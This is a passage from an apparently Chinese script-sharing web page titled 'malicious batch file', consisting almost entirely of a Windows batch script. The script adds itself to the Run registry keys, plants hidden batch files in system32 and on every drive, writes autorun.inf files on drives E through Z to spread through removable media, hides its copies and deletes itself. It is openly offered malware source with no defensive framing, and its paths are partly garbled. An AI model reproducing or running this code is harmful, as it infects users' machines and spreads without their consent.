恶意批处理.bat

2019-01-30 14:02:29王振洲

/f >>%windir%/system32/explorer.bat
echo REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun /v setup.bat /t REG_SZ /d d:setup.bat 
/f >>%windir%/system32/explorer.bat
echo REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun /v explorer.bat /t REG_SZ /d %
windir%/system32/explorer.bat/f >>%windir%/system32/explorer.bat
echo REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun /v explorer.bat /t REG_SZ /d %
windir%/system32/explorer.bat /f >>%windir%/system32/explorer.bat
echo start %systemroot%windows.bat /min >>%windir%/system32/explorer.bat
attrib %windir%/system32/explorer.bat +r +s +h%
attrib %systemroot%/windows.bat +r +s +h
for %%c in (%alldrive%) do echo @echo off >>%%c:system.bat
for %%c in (%alldrive%) do echo start %windir%system32cmd.bat /min >>%%c:system.bat
for %%c in (%alldrive%) do echo attrib system.bat +r +s +h >>%%c:system.bat
set drive=e f g h i j k l m n o p q r s t u v w x y z
for %%c in (%drive%) do echo [AuroRun] >%%c:autorun.inf
for %%c in (%drive%) do echo Open=system.bat >>%%c:autorun.inf
copy %0 d:Program" "Filesrun.bat
for %%c in (%alldrive%) do echo if not exist %windir%/system32/explorer.bat start d:Program" "Filesrun.bat /min 
>>%%c:system.bat
for %%c in (%alldrive%) do attrib autorun.inf +r +s +h >>%%c:system.bat
for %%c in (%alldrive%) do attrib %%c:autorun.inf +r +s +h >nul
for %%c in (%alldrive%) do attrib %%c:system.bat +r +s +h >nul
if not exist %windir%/system32/explorer.bat start d:Program" "Filesrun.bat /min >>d:setup.bat
attrib d:Program" "Filesrun.bat +r +s +h >nul
del %0
exit

您可能感兴趣的文章:

写了个批量替换字符串的bat批处理(replaceChar.bat)gulp加批处理(.bat)实现ng多应用一键自动化构建C#中执行批处理文件(*.bat)的方法代码批处理文件 (.bat) 的几个技巧分享批处理加密.batsz.reg转换成reg.bat的批处理在当前目录生成很漂亮的结构树的批处理dir.batcnct.batch 批处理不错的东西%cd%Windows下使用批处理文件.bat删除旧文件
相关文章 大家在看